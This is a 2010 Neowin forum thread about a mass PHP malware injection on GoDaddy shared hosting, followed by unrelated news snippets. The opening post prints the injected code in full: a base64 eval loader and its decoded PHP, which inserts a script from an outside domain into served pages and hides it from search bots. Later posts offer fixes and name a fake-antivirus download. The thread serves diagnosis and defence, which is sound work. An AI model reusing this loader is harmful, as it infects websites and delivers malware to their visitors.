• 0

GoDaddy Got Hacked Yesterday

Asked by TonyLock,

 Share

Question

Veteran

TonyLock

Posted
Posted

I'm sure some of you may be aware of the situation But as of yesterday (May 1, 2010) at around 2 AM, there was a major hack attempt on GoDaddy. At about 10 AM, GoDaddy Tweeted about this matter (See Tweet: http://twitter.com/GoDaddy/status/13199601776). The issue has not affected all of their hosting accounts and is still being investigated. The issue is not due to a flaw in WordPress as GoDaddy claims, a friend has a site that only has her own hand written PHP code and nothing more. Despite taking my friend is super obsessive about security and knows for a fact her FTP account was not compromised, she found all the PHP files on her server to be infected, even those not publicly available.

When you view the source of any of the PHP pages through the browser, you see the following line inserted just before the </body> tag:

&lt;script src="https://kdjkfjskdfjlskdjf.com/kp.php"&gt;&lt;/script&gt;

When you examine each of the PHP pages, you see this line at the top of all of them (This was the hacked code):

&lt;?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5clpHcHJabXB6YTJSbWFteHphMlJxWmk1amIyMHZhM0F1Y0dod0lqNDhMM05qY21sd2REND0iKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgICB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgICAgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEzRDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KXsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?&gt;

When you decode this, it equates to:

if(function_exists('ob_start')&amp;&amp;!isset($GLOBALS['mr_no'])){   $GLOBALS['mr_no']=1;
	if(!function_exists('mrobh')){
		if(!function_exists('gml')){
			function gml(){
				if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&amp;&amp; (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){
					return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9rZGprZmpza2Rmamxza2RqZi5jb20va3AucGhwIj48L3NjcmlwdD4=");
				}
				return "";
			}
		}
        if(!function_exists('gzdecode')){
			function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){
				$R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));
				$RBE4C4D037E939226F65812885A53DAD9=10;
				$RA3D52E52A48936CDE0F5356BB08652F2=0;
      			if($R30B2AB8DC1496D06B230A71D8962AF5D&amp;4){
      				$R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));
       				$R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];
       				$RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;
       			}
    			if($R30B2AB8DC1496D06B230A71D8962AF5D&amp;8){
					$RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;
      			}
      			if($R30B2AB8DC1496D06B230A71D8962AF5D&amp;16){
      				$RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;
      			}
				if($R30B2AB8DC1496D06B230A71D8962AF5D&amp;2){
					$RBE4C4D037E939226F65812885A53DAD9+=2;
      			}
      			$R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));
      			if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){
      				$R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;
      			}
      			return $R034AE2AB94F99CC81B389A1822DA3353;
     		}
		}
		function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){
			Header('Content-Encoding: none');
			$RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);
			if(preg_match('/\&lt;\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){
				return preg_replace('/(\&lt;\/body[^\&gt;]*\&gt;)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);
			}else{
				return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();
			}
		}
		ob_start('mrobh');
	}
}

I don't really understand what this code exactly does. Can any PHP code experts decipher it?

GoDaddy claimed they will investigate the issue but when my friend called, she found the tech support staff were completely oblivious to the matter.

So, if you are one of the unlucky ones whose server was a part of the attack, please check the bottom of your source code to make sure the <script> tag isn't there. Otherwise contact GoDaddy and complain.

Link to comment
https://www.neowin.net/forum/topic/897610-godaddy-got-hacked-yesterday/
Share on other sites

72 answers to this question

Recommended Posts

  • 0
Veteran

TonyLock

Posted
  • Author
Posted

And seriously, to expand on what andrew said.

The guy asked for what other domains you knew of that had been compromised, you could have provided that here or sent him a pm. instead you came up with another anonymous godaddy friend without wordpress. it could very well be they have unused wordpress files on the server or that wjatever the do use is based on wordpress

Clearly, you have never called GoDaddy tech support before. They know the sites have have been told on the phone. I have no need to mention them here.

Anyway, GoDaddy don't need to know about any more domains, considering all the net chatter about this enter issue.

All they need to do is lock does their accounts so one account cannot write to another. PERIOD! PROBLEM SOLVED!

  • 0
Grand Master

stevember

Posted
Posted

Apology? How old are you son? Apology for speaking the truth? Only on Neowin!

Thereal issue is responsibility.

///cut////

I hope GoDaddy accept responsibility for it's failing and accepts whatit needs to do to set things right by it's customers.

But if there are back handers going out (as evident by theapologist for the GoDaddy's apologist) then I highly doubt it.

GoFigure GoDaddy!

I think you what we call in UK a 'Bigoted' person. Note to ALL I never called him a 'Bigot'.

  • 0
Neowinian

mrga

Posted
Posted

Hi,

I searched few days and I got some conclusion hope help somebody.

1. Goddady have a executing multi-extension files security hole example:

somthing.php.jpg

This is a known security issue:

http://core.trac.wordpress.org/ticket/11122

to fix that on GoDaddy try add this in .htaccess

RemoveHandler application/x-httpd-php .php

<FilesMatch "\.(php|php5|php4|php3|phtml|phpt)$">

SetHandler x-httpd-php5

</FilesMatch>

<FilesMatch "\.phps$">

SetHandler x-httpd-php5-source

</FilesMatch>

I tested on my site and seams that work.

2. The injections affected two my sites with custom cms, one site do not have upload at all (no wordpress, no joomla).

3. I find some hacking tool on my account with all nice staff for injection things.. I think they passes deep

4. put all php files to unwritable seems to stop injection

I think that injections come from inside server becouse GoDaddy hosting will easly find it if starts from outside.

Hope this can help

  • 0
Grand Master

Andrew Lyle Global Moderator

Posted
  • Global Moderator
Posted

Apology? How old are you son? Apology for speaking the truth? Only on Neowin!

<< SNIP >>

This post is full of false claims, no evidence or proof of any of this, and inaccurate claims against GoDaddy.

I suggest you just stop pointing fingers and start telling your friends that they are lying.

And you have absolutely NO proof that GoDaddy has never gone around the Internet and signed up on other forums to speak directly to people.

If I were you, I would just let this go. You're trying to turn nothing into something, and you don't even have an account with GoDaddy! So just stop talking.

And seriously, to expand on what andrew said.

The guy asked for what other domains you knew of that had been compromised, you could have provided that here or sent him a pm. instead you came up with another anonymous godaddy friend without wordpress. it could very well be they have unused wordpress files on the server or that wjatever the do use is based on wordpress

To expand on what you said, the server block, since this is a shared host, could contain WordPress files. Each user does not have to have WordPress instead, but anyone else using the same server as you could have WordPress installed, compromising the entire server.

  • Gocom and stevember
  • Like 2
  • 0
Apprentice

bytes2000

Posted
Posted

I just found a very detailed page related to this: http://www.wpsecuritylock.com/cechriecom-com-script-wordpress-hacked-on-godaddy-case-study/

It includes some findings, recommendations and the most detailed guide on how to remove the problem. I also checked slashdot and the wp problem reports started since March..

  • 0
Neowinian

GoDaddy

Posted
Posted

My Godaddy site just got hacked also. It is just a simple PHP site, mostly html with .php page extensions. All the php files were hacked. Godaddy is in an extreme state of denial. They just sent a form email implying that it was somehow my fault. Definitely not just a Wordpress problem.

zyxwvut,

Thank you for posting. If you'll please PM your domain, I'll have our Security Team investigate the matter.

Salem

  • 0
Neowinian

mrga

Posted
Posted

Hi,

A little tutorial to see if you have a issue executing multi-extension files.

Create a file with name "info.php.jpg" and add in if following code:

<?php

phpinfo();

?>

upload to your webpage and try to get it.(www.yourdomain.com/info.php.jpg)

if your file is parsed (you will see a php information) insted of get an inexistent image you have this security issue.

What this means?

This means that if you have upload file funcionality hacker can upload script on your site and run it.

It not based on single cms (wordpress, joomla...) is general issue.

I find a script that look like a image inside but is a tool.

This issue is not related to this attack maybe, but is security issue that you can check and prevent to you file injection.

Above I posted a fix for GoDaddy that is little bit different from wordpress fix.

Hope this can help somebody... and safe some working hours ;)

  • 0
Mentor

joker999

Posted
Posted

Hrm, i test that on my linux box, the virus fake me that i have virus on my computer but its windows design and layout but im on linux heh, virus is force me to visit www2.warezforpc37-pd.xorg.pl then download packupdate_build107_2045.exe (the link go to virustotal.com, Im just tell you its safe link)

fake2i.jpg

I read whole code, but i dont want paste to this forum, its might block by anti-virus. :)

  • 0
Apprentice

bytes2000

Posted
Posted

UPDATE! According to: http://www.wpsecuritylock.com/dangerous-malware-alert-hacked-godaddy-responds/

there is a Godaddy response:

We do take our position as an Internet leader seriously, especially when it comes to security. This is why we are going the extra mile to get the word out. We appreciate your invitation to answer the question, 'What is Go Daddy doing to help?'

As the world's #1 Web host provider, Go Daddy is a logical target for speculation and misinformation. With this exploitation issue, both the prevention and the cure are not under our control -- because the customer decides whether to update the software they run. (If you think about it, it's like forgetting to lock your car and blaming the auto manufacturer when your car is stolen.) Our job is to help identify issues and inform our customers about how they can protect their sites.

This is why we are working to proactively communicate and educate Internet users about this situation.

Here are a few of the initiatives we have going right now.

As a service to our customers and all Internet users:

* Go Daddy scanned our 4M hosted sites to identify sites impacted (we did this immediately upon learning about the issue last week, and again over the weekend).

* Contacting Go Daddy customers impacted by phone and/or email to let them know how to protect their sites (in some cases, we've alerted them even before they realize they are impacted).

* Go Daddy is also taking the leadership role with educational communication -- posting Help Articles to our Community & Customer Service pages to provide "1,2,3 Info" on how to properly update software.

We'll update the Help Articles as needed and also be posting another Help Article with actual illustrations/screen shots to make the security update process easy for even the most remedial of Web users to follow.

Phil Stuart

Go Daddy Communications

  • 0
Grand Master

Cupcakes

Posted
Posted

GoDaddy specifically made their Neowin account to comment on this thread and to address me directly. Clearly they are worried and don't have a clue what is going. Funny actually.

I need to comment on this. The only reason GoDaddy came here was because I had tweeted about it and they directly replied to my tweet which had a link to Neowin in it. The same person who replied here is the same person who manages GoDaddy's Twitter account. He doesn't need to be a tech agent to do this--he even states his position within GoDaddy is for social-related purposes.. Which would include this forum.

:pinch: :blink: :whistle:

  • 0
Apprentice

bytes2000

Posted
Posted

I need to comment on this. The only reason GoDaddy came here was because I had tweeted about it and they directly replied to my tweet which had a link to Neowin in it. The same person who replied here is the same person who manages GoDaddy's Twitter account. He doesn't need to be a tech agent to do this--he even states his position within GoDaddy is for social-related purposes.. Which would include this forum.

:pinch: :blink: :whistle:

I dont think so, maybe they have access to Google.com, this is not a new incident. Also Neowin is not the official support tool of Godaddy, if they follow a standard for providing services like ITIL, they would not need to ask to send the affected domains via PM, they would ask you to use the formal methods for asking for support (phone,email support). Thats why sometimes I doubt if the user Godaddy is really from @godaddy.com

I dont think they want to discuss (or disclose) attack information in public forums, they will just say something like: "Stay calm", "We are working on it",blah blah so just wait until it is sorted or for any official communication (if any).

In the meanwhile lets see what information (and DISinformation) we found about it.

  • 0
Grand Master

Cupcakes

Posted
Posted

I dont think so, maybe they have access to Google.com, this is not a new incident. Also Neowin is not the official support tool of Godaddy, if they follow a standard for providing services like ITIL, they would not need to ask to send the affected domains via PM, they would ask you to use the formal methods for asking for support (phone,email support). Thats why sometimes I doubt if the user Godaddy is really from @godaddy.com

I dont think they want to discuss (or disclose) attack information in public forums, they will just say something like: "Stay calm", "We are working on it",blah blah so just wait until it is sorted or for any official communication (if any).

In the meanwhile lets see what information (and DISinformation) we found about it.

I don't care what you think--that's what happened. @GoDaddy replied to me minutes after I tweeted about the thread/blog on Neowin. Moments later they joined Neowin and posted a response.

Perhaps you don't understand the part about social mediums. People are hired for specific positions. They don't need to be involved with any technical resolutions. Did you read his post where he stated his job position? "Go Daddy's Social Media Team" THIS IS HIS JOB. He can post on as many forums as he sees fit if he is looking to help people resolve any issues that are present with GoDaddy. He can reply to as many people on Twitter as he has to. Or any other social networking platform.

It's evident that you only came to Neowin to post in this GoDaddy thread for one reason. Stop being a nuisance and go back to the hole you came from.

  • 0
Apprentice

bytes2000

Posted
Posted

I don't care what you think--that's what happened. @GoDaddy replied to me minutes after I tweeted about the thread/blog on Neowin. Moments later they joined Neowin and posted a response.

Perhaps you don't understand the part about social mediums. People are hired for specific positions. They don't need to be involved with any technical resolutions. Did you read his post where he stated his job position? "Go Daddy's Social Media Team" THIS IS HIS JOB. He can post on as many forums as he sees fit if he is looking to help people resolve any issues that are present with GoDaddy. He can reply to as many people on Twitter as he has to. Or any other social networking platform.

It's evident that you only came to Neowin to post in this GoDaddy thread for one reason. Stop being a nuisance and go back to the hole you came from.

Oh my god, another kid posting on neowin... Great you got the credit I will send you my diploma

I did not know the companies are looking everywhere on the internet on how to solve the problems, they have their own trained support staff.

I can read his job position, but did you check: http://www.godaddy.com/SocialMedia/social-media.aspx?ci=17624 ?

I dont see neowin listed, then carefully read the description of the 4 social networks. Godaddy social team is just for MARKETING (and apparently also for calming the scared existant and potential customers of issues like this)

  • 0
Grand Master

HawkMan

Posted
Posted

Oh my god, another kid posting on neowin... Great you got the credit I will send you my diploma

I did not know the companies are looking everywhere on the internet on how to solve the problems, they have their own trained support staff.

I can read his job position, but did you check: http://www.godaddy.com/SocialMedia/social-media.aspx?ci=17624 ?

I dont see neowin listed, then carefully read the description of the 4 social networks. Godaddy social team is just for MARKETING (and apparently also for calming the scared existant and potential customers of issues like this)

really... Gee the rest of us didn't figure that out at the point when he said he was going to forward it to the actual tech staff in his first post.... :rolleyes:

it's what social media staff is for, he never tried to do any tech support or said he would. basically, he's like an escalation, without needing to actually call them and fight with the phone guys and then fight with the supervisor.

  • 0
Grand Master

Andrew Lyle Global Moderator

Posted
  • Global Moderator
Posted

I need to comment on this. The only reason GoDaddy came here was because I had tweeted about it and they directly replied to my tweet which had a link to Neowin in it. The same person who replied here is the same person who manages GoDaddy's Twitter account. He doesn't need to be a tech agent to do this--he even states his position within GoDaddy is for social-related purposes.. Which would include this forum. :pinch: :blink: :whistle:

Well thanks for bringing them here :)

I had a one-on-one phone conversation with Todd Redfoot, a security expert at GoDaddy, be sure to read this:

https://www.neowin.net/news/exclusive-wordpress-exploit-explained

  • 0
Apprentice

bytes2000

Posted
Posted

The break-fix Solution will be enough just for this attack, however GoDaddy needs to isolate the accounts and tighten the privileges in order to avoiD future problems (cause some users complain that their site were "infected" even without having WP installed, also other users upgraded to. 2.9.2 and were "reinfected")

  • 0
Grand Master

Andrew Lyle Global Moderator

Posted
  • Global Moderator
Posted

The break-fix Solution will be enough just for this attack, however GoDaddy needs to isolate the accounts and tighten the privileges in order to avoiD future problems (cause some users complain that their site were "infected" even without having WP installed, also other users upgraded to. 2.9.2 and were "reinfected")

Speaking with the security expert at GoDaddy, Todd Redfoot, he mentioned that they did not see the exploit on users accounts that were running WordPress 2.9.2.

  • 0
Neowinian

mrga

Posted
Posted

Speaking with the security expert at GoDaddy, Todd Redfoot, he mentioned that they did not see the exploit on users accounts that were running WordPress 2.9.2.

Just to let you know that my site was infected... I dont have any wordpress installation (not any contact with wordpress).

I think is a GoDaddy security issue.

Open source project is commonly used by hackers to trigger this kind of attacks but we have to take in account that exist infected sites without wordpress.

Hope this helps...

This topic is now closed to further replies.
 Share
Go to question listing

  • Recently Browsing   0 members

    • No registered users viewing this page.

  • Posts

    • OpenAI is rolling out a major upgrade to ChatGPT memory

      By pradeepviswav · Posted

      OpenAI is rolling out a major upgrade to ChatGPT memory by Pradeep Viswanathan OpenAI is rolling out a major upgrade to ChatGPT's memory, making the system more capable, current, and scalable across long-term use. Memory allows ChatGPT to remember useful details about users, including their preferences, projects, and constraints. Instead of starting every conversation from scratch, ChatGPT can use this context to provide more relevant responses in future chats. OpenAI first launched saved memories in February 2024. That feature allowed users to explicitly ask ChatGPT to save information into its memory, such as travel plans or writing preferences. However, this system had limits because it depended heavily on users giving clear instructions to remember something. Additionally, saved memories could become stale over time. In April 2025, OpenAI expanded memory by allowing ChatGPT to reference past chat context outside the saved memories list. This was powered by a background process called “dreaming,” which automatically curates memories from chat history. This made ChatGPT better at learning from natural conversation without requiring users to manually save every detail. Today, OpenAI announced a more capable and compute-efficient memory architecture built on top of dreaming. This new system improves ChatGPT’s ability to carry forward useful context, follow user preferences, and remain accurate as time passes. According to OpenAI’s internal evaluations, the new system improves factual recall from 67.9% in 2025 to 82.8% in 2026. Preference adherence improves from 55.3% to 71.3%, while accuracy over time improves from 52.2% to 75.1%. The best part of this new system is a new memory summary page where users can review ChatGPT's memories. Users can even update details, correct information, or give instructions on what topics ChatGPT should bring up and when. This new, improved memory system is available to ChatGPT Plus and Pro users in the US starting today. It will roll out to more countries, as well as Free and Go users, in the coming weeks.
    • Microsoft announces Surface Laptop Ultra with NVIDIA RTX Spark processor

      By matthiew · Posted

      I work for a video production company in Australia. The camera operators shoot footage and then pass the SD card over to the editors. Much easier than handing over the entire camera. Plus, on a busy day you can hand off the SD card and then pop another in for the next shoot. Or, you might have used multiple SD cards because you need the extra space for a long shoot. I also use USB cables and wifi for transferring footage, but in many cases an SD card reader is the easiest method.
    • Microsoft Edge 149.0.4022.52

      By Copernic · Posted

      Microsoft Edge 149.0.4022.52 by Razvan Serea Microsoft Edge is a super fast and secure web browser from Microsoft. It works on almost any device, including PCs, iPhones and Androids. It keeps you safe online, protects your privacy, and lets you browse the web quickly. You can even use it on all your devices and keep your browsing history and favorites synced up. Built on the same technology as Chrome, Microsoft Edge has additional built-in features like Startup boost and Sleeping tabs, which boost your browsing experience with world class performance and speed that are optimized to work best with Windows. Microsoft Edge security and privacy features such as Microsoft Defender SmartScreen, Password Monitor, InPrivate search, and Kids Mode help keep you and your loved ones protected and secure online. Microsoft Edge has features to keep both you and your family protected. Enable content filters and access activity reports with your Microsoft Family Safety account and experience a kid-friendly web with Kids Mode. The new Microsoft Edge is now compatible with your favorite extensions, so it’s easy to personalize your browsing experience. Microsoft Edge 149.0.4022.52 changelog: Migration to improved V2 architecture for Workspaces. Workspaces, introduced in Edge in 2022, allows users to create durable sets of tabs that can be saved and shared with others. In order to improve reliability and performance of this feature, the following changes are being made: Migrating data for saved Workspaces from OneDrive/SharePoint to Edge Sync service Removing the collaboration/share functionality of this feature For organizations who have disabled Sync through policy, the existing v1 Workspace data will still be migrated to the new architecture. New v2 Workspaces created after migration won't sync across devices and will remain local to each device. This update occurs on a progressive rollout beginning in Edge Stable v145 and will continue rolling out in Edge v149. For more information, see Getting started with Microsoft Edge Workspaces. Feature Updates Passkey Sync for Enterprise Users. Microsoft Edge is introducing support for passkey synchronization for enterprise users, enabling secure, passwordless authentication across devices. Passkeys created in Edge can now be synced seamlessly, improving sign-in experience while maintaining strong security standards. Note: This is a controlled feature rollout. If you don't see this change, check back as we continue the rollout. Enterprise WebView2 runtime downgrade via DowngradeVersion policy. Administrators can temporarily roll back specific applications to a previous WebView2 Evergreen Runtime version (N-1 or N-2) using the new DowngradeVersion policy in msedgewebview2.admx. The Downgrade Version policy allows enterprises to mitigate critical regressions by specifying per-application exe-to-version mappings. The Edge Updater installs the target version side-by-side, and the WebView2 Loader redirects targeted apps accordingly. Downgrades auto-expire with each new WebView2 release: apps pinned to N-1 remain on the same version (now becoming N-2) and will auto-update in the next release, while apps pinned to N-2 will revert to the current Evergreen version. The policy applies only to enterprise-managed devices (domain-joined or MDM-enrolled). For more information, see Microsoft Edge WebView2 Policy Documentation | Microsoft Learn. Collections retirement. Collections has been removed in this update. Users can no longer access or use the feature. To keep saved content, users can export it, or move all pages to Favorites before updating to Microsoft Edge Stable 149. For more information, see Organize your ideas with Collections in Microsoft Edge - Microsoft Support. Modern, unified, and updated Look and Feel. Microsoft Edge has updated the Look and Feel to give customers a unified experience across all of Microsoft AI surfaces including Copilot and Bing. This changes multiple elements of the UX such as spacing, corners, fonts, default colors, etc. Clarify choices surrounding third-party cookie settings. Language under Settings > Privacy, search, and services > Cookies are clarified to better describe the choices users have in managing third-party cookies. Custom primary password retirement. Users are no longer able to create a new custom primary password in Edge Settings edge://settings/autofill/passwords/settings. Any users who are still using a custom primary password will be automatically migrated to device authentication. Additionally, the PrimaryPasswordSetting policy will no longer support the WithCustomPrimaryPassword option. For more information, see Keep your saved passwords private in Microsoft Edge | Microsoft Support. Unifying Copilot Chat policy controls. The Microsoft365CopilotChatIconEnabled policy is the standard for configuring Copilot Chat. Previously, this behavior was controlled by blocking the Copilot extension, either explicitly or by using the * wildcard via the ExtensionSettings or ExtensionInstallBlockList policies. Extension and sidebar policies no longer affect the appearance or functionality of Copilot Chat. Copilot address bar suggestions were also tied to extension policy settings. Starting in Microsoft Edge version 149, admins can use the CopilotAddressBarSuggestionsEnabled policy to manage this behavior. Intune MAM Protected Downloads. The protected downloads feature for Intune MAM is now available for BYOD (Bring Your Own Device) devices, which aren't managed by a tenant. Policy Updates / New policies CopilotAddressBarSuggestionsEnabled - Enable Copilot address bar suggestions CpuPerformanceTierOverride - Override for the CPU performance tier DataUrlInWebWorkerOpaqueOriginEnabled - Enable opaque origins for data URLs in Web Workers DefaultLocalFontsSetting - Default Local Fonts permission setting ForceForegroundPriorityForUrls - Force foreground priority for specific URLs LocalFontsAllowedForUrls - Allow Local Fonts permission on these sites LocalFontsBlockedForUrls - Block Local Fonts permission on these sites Deprecated policies WalletDonationEnabled - Wallet Donation Enabled (deprecated) EdgeWalletEtreeEnabled - Edge Wallet E-Tree Enabled (deprecated) Additional policy changes ForceForegroundPriorityForUrls - ForceForegroundPriorityForOrigins is renamed to ForceForegroundPriorityForUrls OnSecurityEventEnterpriseConnector - Add macOS platform support ProtectedContentIdentifiersAllowed - Remove macOS platform support Download: Microsoft Edge (64-bit) | 193.0 MB (Freeware) Download: Microsoft Edge (32-bit) | 170.0 MB Download: Microsoft Edge (ARM64) | 188.0 MB View: Microsoft Edge Website | Release History Get alerted to all of our Software updates on Twitter at @NeowinSoftware
    • Still using Classic Outlook? Microsoft highlights 15 reasons to switch to New Outlook

      By Eric Biran · Posted

      User: "But is it good?" Microsoft: "Well, no. But it is less bad."
    • Media Player Classic - Home Cinema 2.7.2

      By Copernic · Posted

      Media Player Classic - Home Cinema 2.7.2 by Razvan Serea Media Player Classic - Home Cinema (MPC-HC) is a free and open-source video and audio player for Windows. MPC-HC is based on the original Guliverkli project (which is no longer maintained) and contains many additional features and bug fixes. As the continuation of the original Media Player Classic, MPC-HC isn’t flashy but it works with nearly any media format. MPC-HC uses DXVA technology to pass decoding operations to your modern video card, enhancing your viewing experience. And MPC-HC supports both physical and software DVDs with menus, chapter navigation, and subtitles. Overview of features A lot of people seem to be unaware of some of the awesome features that have been added to MPC-HC in the past years. Here is a list of useful options and features that everyone should know about: Dark interface Menu > View > Dark Theme When using dark theme it is also possible to change the height of the seekbar and size of the toolbar buttons. Options > Advanced Video preview on the seekbar Options > Tweaks > Show preview on seek bar Adjust playback speed Menu > Play > Playback rate The buttons in the player that control playback rate take a 2x step by default. This can be customized to smaller values (like 10%): Options > Playback > Speed step Adjusting playback speed works best with the internal audio renderer. This also has automatic pitch correction. Options > Playback > Output > Audio Renderer MPC-HC can remember playback position, so you can resume from that point later Options > Player > History You can quickly seek through a video with Ctrl + Mouse Scrollwheel. You can jump to next/previous file in a folder by pressing PageUp/PageDown. You can perform automatic actions at end of file. For example to go to next file or close player. Options > Playback > After Playback (permanent setting) Menu > Play > After Playback (for current file only) A-B repeat - You can loop a segment of a video. Press [ and ] to set start and stop markers. You can rotate/flip/mirror/stretch/zoom the video Menu > View > Pan&Scan This is also easily done with hotkeys (see below). There are lots of keyboard hotkeys and mouse actions to control the player. They can be customized as well. Options > Player > Keys Tip: there is a search box above the table. You can stream videos directly from Youtube and many other video websites You can stream videos directly from Youtube and many other video websites Put yt-dlp.exe or youtube-dl.exe in the MPC-HC installation folder. Then you can open website URLs in the player: Menu > File > Open File/URL You can even download those videos: Menu > File > Save a copy Tip: to be able to download in best quality with yt-dlp/youtube-dl, it is recommended to also put ffmpeg.exe in the MPC-HC folder. Several YDL configuration options are found here: Options > Advanced This includes an option to specify the location of the .exe in case you don't want to put it in MPC-HC folder. Play HDR video This requires using madVR or MPC Video Renderer. After installation these renderers can be 